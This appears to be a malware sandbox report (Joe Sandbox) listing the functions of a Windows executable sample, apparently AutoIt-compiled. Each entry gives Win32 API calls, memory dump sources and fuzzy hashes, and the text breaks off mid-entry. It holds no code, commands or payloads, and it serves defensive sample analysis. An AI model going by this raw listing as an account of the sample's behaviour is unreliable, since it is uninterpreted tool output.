                                                Function 002FCF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002FDDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,002FCF22,?), ref: 002FDDFD
                                                  • Part of subcall function 002FDDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,002FCF22,?), ref: 002FDE16
                                                • lstrcmpiW.KERNEL32(?,?), ref: 002FCF45
                                                • MoveFileW.KERNEL32(?,?), ref: 002FCF7F
                                                • _wcslen.LIBCMT ref: 002FD005
                                                • _wcslen.LIBCMT ref: 002FD01B
                                                • SHFileOperationW.SHELL32(?), ref: 002FD061
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
                                                • String ID: \*.*
                                                • API String ID: 3164238972-1173974218
                                                • Opcode ID: 7916e011c398378d47cbc6bf35b363770f34006582f93ada1464002734b7bc08
                                                • Instruction ID: 93272cbbee94256ad29f91afda66f2ef96fae2c36941eb772deaaac9502b8a26
                                                • Opcode Fuzzy Hash: 7916e011c398378d47cbc6bf35b363770f34006582f93ada1464002734b7bc08
                                                • Instruction Fuzzy Hash: 5B41387195521D5EDF12EFA4C981AEEF7B9AF083C0F1000F6E605E7151EA34AA55CF50
                                                Function 00322DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00322E1C
                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 00322E4F
                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 00322E84
                                                • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00322EB6
                                                • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00322EE0
                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 00322EF1
                                                • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00322F0B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: LongWindow$MessageSend
                                                • String ID:
                                                • API String ID: 2178440468-0
                                                • Opcode ID: 188bc4d6e895bd43ec41e1d6ba65f6ad2bc14142c10c80c3032bcbe18d84e65e
                                                • Instruction ID: 1c633cda2b8bdbde974bf4f17d8a2bfd40cfcc936b3e3c5a9db43412efa14608
                                                • Opcode Fuzzy Hash: 188bc4d6e895bd43ec41e1d6ba65f6ad2bc14142c10c80c3032bcbe18d84e65e
                                                • Instruction Fuzzy Hash: 96310630614160AFDB22CF58EC84F6A77E9FB5A710F1A5164F9508F2B1CBB1A841EF41
                                                Function 002F7726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 002F7769
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 002F778F
                                                • SysAllocString.OLEAUT32(00000000), ref: 002F7792
                                                • SysAllocString.OLEAUT32(?), ref: 002F77B0
                                                • SysFreeString.OLEAUT32(?), ref: 002F77B9
                                                • StringFromGUID2.OLE32(?,?,00000028), ref: 002F77DE
                                                • SysAllocString.OLEAUT32(?), ref: 002F77EC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                • String ID:
                                                • API String ID: 3761583154-0
                                                • Opcode ID: 94ec4b7948cd58d70fd08aab1a7167478b4d611142606ba47456cb8bc5a60eab
                                                • Instruction ID: 02d907fab73563a1ea7c04b4e1fe75ae576c6d73df67ec3c935f45da1fd3104f
                                                • Opcode Fuzzy Hash: 94ec4b7948cd58d70fd08aab1a7167478b4d611142606ba47456cb8bc5a60eab
                                                • Instruction Fuzzy Hash: 8721A37662421DAFDB11EFA9DC84CBBB3ACEB093A4B108039FA04DB150D670DC418BA0
                                                Function 002F77FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 002F7842
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 002F7868
                                                • SysAllocString.OLEAUT32(00000000), ref: 002F786B
                                                • SysAllocString.OLEAUT32 ref: 002F788C
                                                • SysFreeString.OLEAUT32 ref: 002F7895
                                                • StringFromGUID2.OLE32(?,?,00000028), ref: 002F78AF
                                                • SysAllocString.OLEAUT32(?), ref: 002F78BD
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                • String ID:
                                                • API String ID: 3761583154-0
                                                • Opcode ID: be9a6c5052da55125438015a41c0f7fd6a4a46f03ef4d550ef0ae73162ac0c87
                                                • Instruction ID: d5ab9cc57be67f709e331f2245d0d35ab3c17dc2202f261d8796474127f8873b
                                                • Opcode Fuzzy Hash: be9a6c5052da55125438015a41c0f7fd6a4a46f03ef4d550ef0ae73162ac0c87
                                                • Instruction Fuzzy Hash: 1621A731614109AFDB11AFA8DC8CDBBB7ECEB097A0B108135FA15CB1A1D674DC51DB64
                                                Function 003004D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetStdHandle.KERNEL32(0000000C), ref: 003004F2
                                                • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 0030052E
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CreateHandlePipe
                                                • String ID: nul
                                                • API String ID: 1424370930-2873401336
                                                • Opcode ID: ca5d8a22115998563e3af7187727e419da548b35772a174ca7fd45dc32890345
                                                • Instruction ID: c3047a22fc6157e1366890653e7448652336ff244fbda65c60431eda4560c9ac
                                                • Opcode Fuzzy Hash: ca5d8a22115998563e3af7187727e419da548b35772a174ca7fd45dc32890345
                                                • Instruction Fuzzy Hash: 4D219C75505305EFDF268F29DC15B9A7BB8AF46724F204A29F8A1E72E0D7709941CF20
                                                Function 003005A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetStdHandle.KERNEL32(000000F6), ref: 003005C6
                                                • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00300601
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CreateHandlePipe
                                                • String ID: nul
                                                • API String ID: 1424370930-2873401336
                                                • Opcode ID: bc3854222f1b85e81cd737549d0c3aaa3c6c0d849916dd42ae103b98f3f8663e
                                                • Instruction ID: 82d8e619b979a8902529a00843f577b85732731731abb27eb555c00ede1f112d
                                                • Opcode Fuzzy Hash: bc3854222f1b85e81cd737549d0c3aaa3c6c0d849916dd42ae103b98f3f8663e
                                                • Instruction Fuzzy Hash: 3421B0755013099BDB268F68DC14B9E77E9FF85730F200A19F8A1E72E0DBB19961CB20
                                                Function 003240AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 0029600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0029604C
                                                  • Part of subcall function 0029600E: GetStockObject.GDI32(00000011), ref: 00296060
                                                  • Part of subcall function 0029600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 0029606A
                                                • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00324112
                                                • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0032411F
                                                • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0032412A
                                                • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00324139
                                                • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00324145
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend$CreateObjectStockWindow
                                                • String ID: Msctls_Progress32
                                                • API String ID: 1025951953-3636473452
                                                • Opcode ID: 294811abc290072d6ee2c1101f2a7c978da64e2fe200b559998bf36cc5a530d8
                                                • Instruction ID: 07aff34ff71cf15c228051bbe4f4d91e82cf4c745e0096629ee28f2e7947d6db
                                                • Opcode Fuzzy Hash: 294811abc290072d6ee2c1101f2a7c978da64e2fe200b559998bf36cc5a530d8
                                                • Instruction Fuzzy Hash: 711186B11502297EEF119F64DC85EE77F5DEF08798F014111FA18A6190C7729C61DBA4
                                                Function 002CD7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002CD7A3: _free.LIBCMT ref: 002CD7CC
                                                • _free.LIBCMT ref: 002CD82D
                                                  • Part of subcall function 002C29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,002CD7D1,00000000,00000000,00000000,00000000,?,002CD7F8,00000000,00000007,00000000,?,002CDBF5,00000000), ref: 002C29DE
                                                  • Part of subcall function 002C29C8: GetLastError.KERNEL32(00000000,?,002CD7D1,00000000,00000000,00000000,00000000,?,002CD7F8,00000000,00000007,00000000,?,002CDBF5,00000000,00000000), ref: 002C29F0
                                                • _free.LIBCMT ref: 002CD838
                                                • _free.LIBCMT ref: 002CD843
                                                • _free.LIBCMT ref: 002CD897
                                                • _free.LIBCMT ref: 002CD8A2
                                                • _free.LIBCMT ref: 002CD8AD
                                                • _free.LIBCMT ref: 002CD8B8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _free$ErrorFreeHeapLast
                                                • String ID:
                                                • API String ID: 776569668-0
                                                • Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
                                                • Instruction ID: e9a6c6b2981a6e22873a192672acc236c1f082b64ba062f932cf20d3f667cb09
                                                • Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
                                                • Instruction Fuzzy Hash: B91121715A1B04EAD521BFB0CC47FCBBBDCAF04700F405A3DB29DA6892DA75B5294E50
                                                Function 002FDA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 002FDA74
                                                • LoadStringW.USER32(00000000), ref: 002FDA7B
                                                • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 002FDA91
                                                • LoadStringW.USER32(00000000), ref: 002FDA98
                                                • MessageBoxW.USER32(00000000,?,?,00011010), ref: 002FDADC
                                                Strings
                                                • %s (%d) : ==> %s: %s %s, xrefs: 002FDAB9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: HandleLoadModuleString$Message
                                                • String ID: %s (%d) : ==> %s: %s %s
                                                • API String ID: 4072794657-3128320259
                                                • Opcode ID: 88c3330853c0a6708c0830da7cbd3aa51279d662126b123bf6c36eec78973aef
                                                • Instruction ID: aebd791138025229da00b1b3c537872a7a2a1bc21309d6551d77f5d8ffeacfdf
                                                • Opcode Fuzzy Hash: 88c3330853c0a6708c0830da7cbd3aa51279d662126b123bf6c36eec78973aef
                                                • Instruction Fuzzy Hash: 510162F65102087FE7129BA49D89EFB726CEB08741F4014A6B746E2041E6749E854F74
                                                Function 0030096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InterlockedExchange.KERNEL32(00CCEC40,00CCEC40), ref: 0030097B
                                                • EnterCriticalSection.KERNEL32(00CCEC20,00000000), ref: 0030098D
                                                • TerminateThread.KERNEL32(00CCEC38,000001F6), ref: 0030099B
                                                • WaitForSingleObject.KERNEL32(00CCEC38,000003E8), ref: 003009A9
                                                • CloseHandle.KERNEL32(00CCEC38), ref: 003009B8
                                                • InterlockedExchange.KERNEL32(00CCEC40,000001F6), ref: 003009C8
                                                • LeaveCriticalSection.KERNEL32(00CCEC20), ref: 003009CF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                • String ID:
                                                • API String ID: 3495660284-0
                                                • Opcode ID: 04b729a79cca42aece6cdd2e8eb847231593a066f9584c93192ace2946c5a634
                                                • Instruction ID: 176df4f36e0c394b0662c95e105a6170a9f2e036559d71247ecd0d14f7ca6bff
                                                • Opcode Fuzzy Hash: 04b729a79cca42aece6cdd2e8eb847231593a066f9584c93192ace2946c5a634
                                                • Instruction Fuzzy Hash: 8DF01D31452A02EBDB665B94EE89BDA7A39BF01702F502419F201508A0CB749466CF90
                                                Function 00311C60 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • __WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00311DC0
                                                • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00311DE1
                                                • WSAGetLastError.WSOCK32 ref: 00311DF2
                                                • htons.WSOCK32(?,?,?,?,?), ref: 00311EDB
                                                • inet_ntoa.WSOCK32(?), ref: 00311E8C
                                                  • Part of subcall function 002F39E8: _strlen.LIBCMT ref: 002F39F2
                                                  • Part of subcall function 00313224: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,0030EC0C), ref: 00313240
                                                • _strlen.LIBCMT ref: 00311F35
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
                                                • String ID:
                                                • API String ID: 3203458085-0
                                                • Opcode ID: 22cfbe3fbdea98716b551936f8cd48a0f9dd06e6e77b910c542cd4230bc97a68
                                                • Instruction ID: 49a6a0c28f564fed838e5d6f3c3fa3cc14456ee0b5c89b6e77646ea39e3574bd
                                                • Opcode Fuzzy Hash: 22cfbe3fbdea98716b551936f8cd48a0f9dd06e6e77b910c542cd4230bc97a68
                                                • Instruction Fuzzy Hash: 1EB10331204300AFC729DF24C885EAA7BE5AF89318F55864CF5565F2E2DB71ED82CB91
                                                Function 002C01B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON
                                                Download Yara Rule
                                                APIs
                                                • __allrem.LIBCMT ref: 002C00BA
                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002C00D6
                                                • __allrem.LIBCMT ref: 002C00ED
                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002C010B
                                                • __allrem.LIBCMT ref: 002C0122
                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002C0140
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                • String ID:
                                                • API String ID: 1992179935-0
                                                • Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
                                                • Instruction ID: d02db9b338c783545f78d10989a9d1cc74139ecf89c54c519c28d950fb578edc
                                                • Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
                                                • Instruction Fuzzy Hash: E881F871620706DBE7209F68CC82FAAB3E8EF41764F24423EF555D66C1E7B0D9208B50
                                                Function 002C61FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON
                                                Download Yara Rule
                                                APIs
                                                • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,002B82D9,002B82D9,?,?,?,002C644F,00000001,00000001,8BE85006), ref: 002C6258
                                                • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,002C644F,00000001,00000001,8BE85006,?,?,?), ref: 002C62DE
                                                • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 002C63D8
                                                • __freea.LIBCMT ref: 002C63E5
                                                  • Part of subcall function 002C3820: RtlAllocateHeap.NTDLL(00000000,?,00361444,?,002AFDF5,?,?,0029A976,00000010,00361440,002913FC,?,002913C6,?,00291129), ref: 002C3852
                                                • __freea.LIBCMT ref: 002C63EE
                                                • __freea.LIBCMT ref: 002C6413
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ByteCharMultiWide__freea$AllocateHeap
                                                • String ID:
                                                • API String ID: 1414292761-0
                                                • Opcode ID: 90d59fced4a7c1b8d96a42c0a013751a006a76fb887e29c49109529986eeeb60
                                                • Instruction ID: 2863611a434513c721942698233ae3175da6f92e2b1fae99c8e0cd3924b53573
                                                • Opcode Fuzzy Hash: 90d59fced4a7c1b8d96a42c0a013751a006a76fb887e29c49109529986eeeb60
                                                • Instruction Fuzzy Hash: 8051BF72620256ABEB268FA4CC89FAF77A9EB44B50F14476DFC05D7181DB34DC60CA60
                                                Function 0031BBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                  • Part of subcall function 0031C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0031B6AE,?,?), ref: 0031C9B5
                                                  • Part of subcall function 0031C998: _wcslen.LIBCMT ref: 0031C9F1
                                                  • Part of subcall function 0031C998: _wcslen.LIBCMT ref: 0031CA68
                                                  • Part of subcall function 0031C998: _wcslen.LIBCMT ref: 0031CA9E
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0031BCCA
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0031BD25
                                                • RegCloseKey.ADVAPI32(00000000), ref: 0031BD6A
                                                • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0031BD99
                                                • RegCloseKey.ADVAPI32(?,?,00000000), ref: 0031BDF3
                                                • RegCloseKey.ADVAPI32(?), ref: 0031BDFF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
                                                • String ID:
                                                • API String ID: 1120388591-0
                                                • Opcode ID: f9a816d87635756aa42eaab3daf267a983280e63bfece433b38e5ac040bf7f54
                                                • Instruction ID: 4a53e3e66f6e7d0a99dfbbdda6de75fef573f0b088875cbce55250bf004790d3
                                                • Opcode Fuzzy Hash: f9a816d87635756aa42eaab3daf267a983280e63bfece433b38e5ac040bf7f54
                                                • Instruction Fuzzy Hash: 0C818F30218241EFD719DF24C895E6ABBE9FF88308F15855CF4554B2A2DB31ED85CB92
                                                Function 002EF7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON
                                                Download Yara Rule
                                                APIs
